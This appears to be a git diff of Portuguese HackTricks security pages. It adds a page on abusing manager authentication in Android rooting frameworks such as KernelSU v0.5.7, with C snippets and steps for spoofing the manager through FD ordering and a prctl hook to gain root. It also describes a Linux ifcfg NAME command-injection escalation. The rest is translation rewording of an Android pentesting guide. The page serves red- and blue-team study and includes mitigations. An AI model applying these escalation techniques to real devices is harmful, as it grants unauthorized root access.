Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<whatever>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
|
||||
|
||||
Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
|
||||
Scripts de rede, como _ifcg-eth0_, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
|
||||
|
||||
No meu caso, o `NAME=` atribuído nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**.
|
||||
|
||||
@ -1426,4 +1426,12 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
## Frameworks de rooting Android: abuso de canal de gerenciador
|
||||
|
||||
Frameworks de rooting Android geralmente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador de espaço de usuário. A autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem de FD ou esquemas de senha fracos) pode permitir que um aplicativo local se passe pelo gerenciador e escale para root em dispositivos já com root. Saiba mais e detalhes de exploração aqui:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -0,0 +1,190 @@
|
||||
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Frameworks de rooting como KernelSU, APatch, SKRoot e Magisk frequentemente patcham o kernel Linux/Android e expõem funcionalidades privilegiadas a um aplicativo "gerenciador" de espaço de usuário não privilegiado através de uma syscall hookada. Se a etapa de autenticação do gerenciador for falha, qualquer aplicativo local pode acessar esse canal e escalar privilégios em dispositivos já enraizados.
|
||||
|
||||
Esta página abstrai as técnicas e armadilhas descobertas em pesquisas públicas (notavelmente a análise da Zimperium do KernelSU v0.5.7) para ajudar tanto equipes vermelhas quanto azuis a entender superfícies de ataque, primitivas de exploração e mitigações robustas.
|
||||
|
||||
---
|
||||
## Padrão de arquitetura: canal de gerenciador com syscall hookada
|
||||
|
||||
- O módulo/patch do kernel hooka uma syscall (comumente prctl) para receber "comandos" do espaço de usuário.
|
||||
- O protocolo geralmente é: magic_value, command_id, arg_ptr/len ...
|
||||
- Um aplicativo gerenciador de espaço de usuário autentica primeiro (por exemplo, CMD_BECOME_MANAGER). Uma vez que o kernel marca o chamador como um gerenciador confiável, comandos privilegiados são aceitos:
|
||||
- Conceder root ao chamador (por exemplo, CMD_GRANT_ROOT)
|
||||
- Gerenciar listas de permissão/rejeição para su
|
||||
- Ajustar a política SELinux (por exemplo, CMD_SET_SEPOLICY)
|
||||
- Consultar versão/configuração
|
||||
- Porque qualquer aplicativo pode invocar syscalls, a correção da autenticação do gerenciador é crítica.
|
||||
|
||||
Exemplo (design do KernelSU):
|
||||
- Syscall hookada: prctl
|
||||
- Valor mágico para desviar para o manipulador do KernelSU: 0xDEADBEEF
|
||||
- Comandos incluem: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, etc.
|
||||
|
||||
---
|
||||
## Fluxo de autenticação do KernelSU v0.5.7 (como implementado)
|
||||
|
||||
Quando o espaço de usuário chama prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), o KernelSU verifica:
|
||||
|
||||
1) Verificação de prefixo de caminho
|
||||
- O caminho fornecido deve começar com um prefixo esperado para o UID do chamador, por exemplo, /data/data/<pkg> ou /data/user/<id>/<pkg>.
|
||||
- Referência: core_hook.c (v0.5.7) lógica de prefixo de caminho.
|
||||
|
||||
2) Verificação de propriedade
|
||||
- O caminho deve ser de propriedade do UID do chamador.
|
||||
- Referência: core_hook.c (v0.5.7) lógica de propriedade.
|
||||
|
||||
3) Verificação de assinatura APK via varredura da tabela FD
|
||||
- Iterar os descritores de arquivo abertos (FDs) do processo chamador.
|
||||
- Escolher o primeiro arquivo cujo caminho corresponda a /data/app/*/base.apk.
|
||||
- Analisar a assinatura APK v2 e verificar contra o certificado oficial do gerenciador.
|
||||
- Referências: manager.c (iterando FDs), apk_sign.c (verificação APK v2).
|
||||
|
||||
Se todas as verificações passarem, o kernel armazena temporariamente o UID do gerenciador e aceita comandos privilegiados desse UID até ser redefinido.
|
||||
|
||||
---
|
||||
## Classe de vulnerabilidade: confiar no “primeiro APK correspondente” da iteração FD
|
||||
|
||||
Se a verificação de assinatura se vincular ao "primeiro /data/app/*/base.apk correspondente" encontrado na tabela FD do processo, na verdade não está verificando o próprio pacote do chamador. Um atacante pode pré-posicionar um APK assinado legitimamente (o verdadeiro gerenciador) para que ele apareça antes na lista de FDs do que seu próprio base.apk.
|
||||
|
||||
Essa confiança por indireção permite que um aplicativo não privilegiado se passe pelo gerenciador sem possuir a chave de assinatura do gerenciador.
|
||||
|
||||
Propriedades-chave exploradas:
|
||||
- A varredura de FD não se vincula à identidade do pacote do chamador; ela apenas combina padrões de strings de caminho.
|
||||
- open() retorna o menor FD disponível. Ao fechar FDs de números mais baixos primeiro, um atacante pode controlar a ordem.
|
||||
- O filtro apenas verifica se o caminho corresponde a /data/app/*/base.apk – não que corresponda ao pacote instalado do chamador.
|
||||
|
||||
---
|
||||
## Pré-condições de ataque
|
||||
|
||||
- O dispositivo já está enraizado com um framework de rooting vulnerável (por exemplo, KernelSU v0.5.7).
|
||||
- O atacante pode executar código arbitrário não privilegiado localmente (processo de aplicativo Android).
|
||||
- O verdadeiro gerenciador ainda não autenticou (por exemplo, logo após uma reinicialização). Alguns frameworks armazenam em cache o UID do gerenciador após o sucesso; você deve vencer a corrida.
|
||||
|
||||
---
|
||||
## Esboço de exploração (KernelSU v0.5.7)
|
||||
|
||||
Passos de alto nível:
|
||||
1) Construir um caminho válido para o diretório de dados do seu próprio aplicativo para satisfazer as verificações de prefixo e propriedade.
|
||||
2) Garantir que um base.apk genuíno do KernelSU Manager esteja aberto em um FD de número mais baixo do que seu próprio base.apk.
|
||||
3) Invocar prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) para passar nas verificações.
|
||||
4) Emitir comandos privilegiados como CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY para persistir a elevação.
|
||||
|
||||
Notas práticas sobre o passo 2 (ordenação de FD):
|
||||
- Identificar o FD do seu processo para seu próprio /data/app/*/base.apk caminhando pelos symlinks de /proc/self/fd.
|
||||
- Fechar um FD baixo (por exemplo, stdin, fd 0) e abrir o APK legítimo do gerenciador primeiro para que ele ocupe o fd 0 (ou qualquer índice inferior ao seu próprio fd base.apk).
|
||||
- Agrupar o APK legítimo do gerenciador com seu aplicativo para que seu caminho satisfaça o filtro ingênuo do kernel. Por exemplo, colocá-lo sob um subcaminho correspondente a /data/app/*/base.apk.
|
||||
|
||||
Exemplos de trechos de código (Android/Linux, apenas ilustrativos):
|
||||
|
||||
Enumerar FDs abertos para localizar entradas base.apk:
|
||||
```c
|
||||
#include <dirent.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
|
||||
DIR *d = opendir("/proc/self/fd");
|
||||
if (!d) return -1;
|
||||
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
|
||||
int best_fd = -1;
|
||||
while ((e = readdir(d))) {
|
||||
if (e->d_name[0] == '.') continue;
|
||||
int fd = atoi(e->d_name);
|
||||
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
|
||||
ssize_t n = readlink(link, p, sizeof(p)-1);
|
||||
if (n <= 0) continue; p[n] = '\0';
|
||||
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
|
||||
if (best_fd < 0 || fd < best_fd) {
|
||||
best_fd = fd; strncpy(out_path, p, PATH_MAX);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
return best_fd; // First (lowest) matching fd
|
||||
}
|
||||
```
|
||||
Force um FD de número mais baixo a apontar para o APK do gerente legítimo:
|
||||
```c
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
|
||||
// Reuse stdin (fd 0) if possible so the next open() returns 0
|
||||
close(0);
|
||||
int fd = open(legit_apk_path, O_RDONLY);
|
||||
(void)fd; // fd should now be 0 if available
|
||||
}
|
||||
```
|
||||
Autenticação do gerente via hook prctl:
|
||||
```c
|
||||
#include <sys/prctl.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define KSU_MAGIC 0xDEADBEEF
|
||||
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
|
||||
|
||||
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
|
||||
unsigned long arg3, unsigned long arg4) {
|
||||
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
int become_manager(const char *my_data_dir) {
|
||||
long result = -1;
|
||||
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
|
||||
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
|
||||
return (int)result;
|
||||
}
|
||||
```
|
||||
Após o sucesso, comandos privilegiados (exemplos):
|
||||
- CMD_GRANT_ROOT: promover o processo atual para root
|
||||
- CMD_ALLOW_SU: adicionar seu pacote/UID à lista de permissões para su persistente
|
||||
- CMD_SET_SEPOLICY: ajustar a política SELinux conforme suportado pelo framework
|
||||
|
||||
Dica de corrida/persistência:
|
||||
- Registre um receptor BOOT_COMPLETED no AndroidManifest (RECEIVE_BOOT_COMPLETED) para iniciar cedo após a reinicialização e tentar autenticação antes do verdadeiro gerenciador.
|
||||
|
||||
---
|
||||
## Orientações de detecção e mitigação
|
||||
|
||||
Para desenvolvedores de frameworks:
|
||||
- Vincule a autenticação ao pacote/UID do chamador, não a FDs arbitrários:
|
||||
- Resolva o pacote do chamador a partir de seu UID e verifique contra a assinatura do pacote instalado (via PackageManager) em vez de escanear FDs.
|
||||
- Se for apenas kernel, use identidade de chamador estável (credenciais de tarefa) e valide em uma fonte de verdade estável gerenciada por init/ajudante de userspace, não FDs de processo.
|
||||
- Evite verificações de prefixo de caminho como identidade; elas são trivialmente satisfatórias pelo chamador.
|
||||
- Use desafio-resposta baseado em nonce sobre o canal e limpe qualquer identidade de gerenciador em cache na inicialização ou em eventos-chave.
|
||||
- Considere IPC autenticado baseado em binder em vez de sobrecarregar syscalls genéricos quando viável.
|
||||
|
||||
Para defensores/equipe azul:
|
||||
- Detecte a presença de frameworks de rooting e processos de gerenciador; monitore chamadas prctl com constantes mágicas suspeitas (por exemplo, 0xDEADBEEF) se você tiver telemetria de kernel.
|
||||
- Em frotas gerenciadas, bloqueie ou alerte sobre receptores de inicialização de pacotes não confiáveis que tentam rapidamente comandos privilegiados de gerenciador após a inicialização.
|
||||
- Certifique-se de que os dispositivos estejam atualizados para versões de framework corrigidas; invalide IDs de gerenciador em cache na atualização.
|
||||
|
||||
Limitações do ataque:
|
||||
- Afeta apenas dispositivos já enraizados com um framework vulnerável.
|
||||
- Normalmente requer uma janela de reinicialização/corrida antes que o gerenciador legítimo autentique (alguns frameworks armazenam em cache o UID do gerenciador até a redefinição).
|
||||
|
||||
---
|
||||
## Notas relacionadas entre frameworks
|
||||
|
||||
- A autenticação baseada em senha (por exemplo, versões históricas do APatch/SKRoot) pode ser fraca se as senhas forem adivinháveis/bruteforceáveis ou se as validações forem com falhas.
|
||||
- A autenticação baseada em pacote/assinatura (por exemplo, KernelSU) é mais forte em princípio, mas deve estar vinculada ao chamador real, não a artefatos indiretos como escaneamentos de FD.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP) mostrou que até ecossistemas maduros podem ser suscetíveis a falsificação de identidade levando à execução de código com root dentro do contexto do gerenciador.
|
||||
|
||||
---
|
||||
## Referências
|
||||
|
||||
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
|
||||
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
|
||||
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
|
||||
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
|
||||
- [KernelSU project](https://kernelsu.org/)
|
||||
- [APatch](https://github.com/bmax121/APatch)
|
||||
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
|
||||
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
|
||||
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -26,7 +26,7 @@ Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para apr
|
||||
|
||||
- [Falsificando sua localização na Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [API Privilegiada Shizuku (acesso privilegiado não-root baseado em ADB)](shizuku-privileged-api.md)
|
||||
- [Explorando Mecanismos Inseguros de Atualização In-App](insecure-in-app-update-rce.md)
|
||||
- [Explorando Mecanismos de Atualização Insegura em Aplicativos](insecure-in-app-update-rce.md)
|
||||
- [Abusando de Serviços de Acessibilidade (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extrair APK do dispositivo:
|
||||
@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Análise Estática
|
||||
|
||||
Primeiramente, para analisar um APK você deve **dar uma olhada no código Java** usando um decompilador.\
|
||||
@ -73,10 +77,10 @@ A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicaç
|
||||
|
||||
**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
|
||||
|
||||
- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo.
|
||||
- **Aplicações Debugáveis**: Aplicações definidas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo.
|
||||
- **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
|
||||
- **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
|
||||
- **Broadcast Receivers e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
|
||||
- **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
|
||||
@ -85,8 +89,8 @@ A partir do arquivo **strings.xml**, informações sensíveis como chaves de API
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app da vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para o app da vítima.\
|
||||
Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no app da vítima**.
|
||||
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para o app vítima.\
|
||||
Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no app vítima**.
|
||||
|
||||
Encontre mais informações em:
|
||||
|
||||
@ -132,7 +136,7 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
|
||||
O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
|
||||
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
|
||||
|
||||
**Dados sensíveis armazenados em texto claro**
|
||||
|
||||
@ -150,7 +154,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Uma boa maneira de testar isso é tentar capturar o tráfego usando algum proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Além disso, você pode gerar com o Burp um certificado para um hostname diferente e usá-lo.
|
||||
|
||||
### Criptografia Quebrada
|
||||
### Quebra de Criptografia
|
||||
|
||||
**Processos de Gerenciamento de Chaves Ruins**
|
||||
|
||||
@ -158,7 +162,7 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
|
||||
|
||||
**Uso de Algoritmos Inseguros e/ou Obsoletos**
|
||||
|
||||
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a força bruta com sal.
|
||||
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **força bruta** com sal.
|
||||
|
||||
### Outras verificações
|
||||
|
||||
@ -170,7 +174,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
|
||||
|
||||
### Aplicação React Native
|
||||
|
||||
Leia a página a seguir para aprender como acessar facilmente o código javascript de aplicações React:
|
||||
Leia a seguinte página para aprender como acessar facilmente o código javascript de aplicações React:
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
@ -178,7 +182,7 @@ react-native-application.md
|
||||
|
||||
### Aplicações Xamarin
|
||||
|
||||
Leia a página a seguir para aprender como acessar facilmente o código C# de aplicações xamarin:
|
||||
Leia a seguinte página para aprender como acessar facilmente o código C# de aplicações xamarin:
|
||||
|
||||
{{#ref}}
|
||||
../xamarin-apps.md
|
||||
@ -188,9 +192,9 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
|
||||
|
||||
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
|
||||
|
||||
### Análise Estática de Código Automatizada
|
||||
### Análise de Código Estática Automatizada
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
|
||||
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
|
||||
|
||||
@ -256,7 +260,7 @@ Para **instalar os serviços do google** (como AppStore) no Genymotion, você pr
|
||||
|
||||
.png>)
|
||||
|
||||
Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
|
||||
Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de Rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
|
||||
|
||||
#### Usar um dispositivo físico
|
||||
|
||||
@ -281,13 +285,13 @@ Os desenvolvedores devem ter cuidado ao expor **informações de depuração** p
|
||||
> Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
|
||||
> De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
|
||||
|
||||
**Cache de Buffer de Copiar/Colar**
|
||||
**Cache do Buffer de Copiar/Colar**
|
||||
|
||||
O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
|
||||
**Logs de Crash**
|
||||
|
||||
Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
|
||||
Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados por um canal SSL para segurança.
|
||||
|
||||
Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
@ -316,7 +320,7 @@ Além disso, lembre-se de que o código de uma atividade começa no método **`o
|
||||
|
||||
**Bypass de Autorização**
|
||||
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os mecanismos de **autenticação** **para acessá-la.**
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os **mecanismos de autenticação** **para acessá-la.**
|
||||
|
||||
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -390,7 +394,7 @@ Toda vez que você encontrar um deep link, verifique se **não está recebendo d
|
||||
**Parâmetros no caminho**
|
||||
|
||||
Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mais exemplos**
|
||||
|
||||
@ -398,9 +402,9 @@ Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618)
|
||||
|
||||
### Inspeção e Falhas de Verificação da Camada de Transporte
|
||||
|
||||
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, voltem a usar conexões HTTP.
|
||||
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para usar conexões HTTP.
|
||||
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decriptografem os dados.
|
||||
- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
|
||||
#### Verificação de Certificado
|
||||
|
||||
@ -414,7 +418,7 @@ SSL Pinning é uma medida de segurança onde o aplicativo verifica o certificado
|
||||
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplicativos que visam **API Level 24 e acima** requerem modificações na Configuração de Segurança da Rede para aceitar o certificado CA do proxy. Essa etapa é crítica para inspecionar tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança da Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Aplicativos que visam **API Level 24 e acima** requerem modificações na Configuração de Segurança da Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança da Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Se **Flutter** estiver sendo usado, você precisa seguir as instruções nesta [**página**](flutter.md). Isso ocorre porque, apenas adicionar o certificado ao armazenamento não funcionará, pois o Flutter tem sua própria lista de CAs válidas.
|
||||
|
||||
@ -422,8 +426,8 @@ Se **Flutter** estiver sendo usado, você precisa seguir as instruções nesta [
|
||||
|
||||
Quando o SSL Pinning é implementado, contorná-lo se torna necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse propósito:
|
||||
|
||||
- Modificar automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A melhor vantagem dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
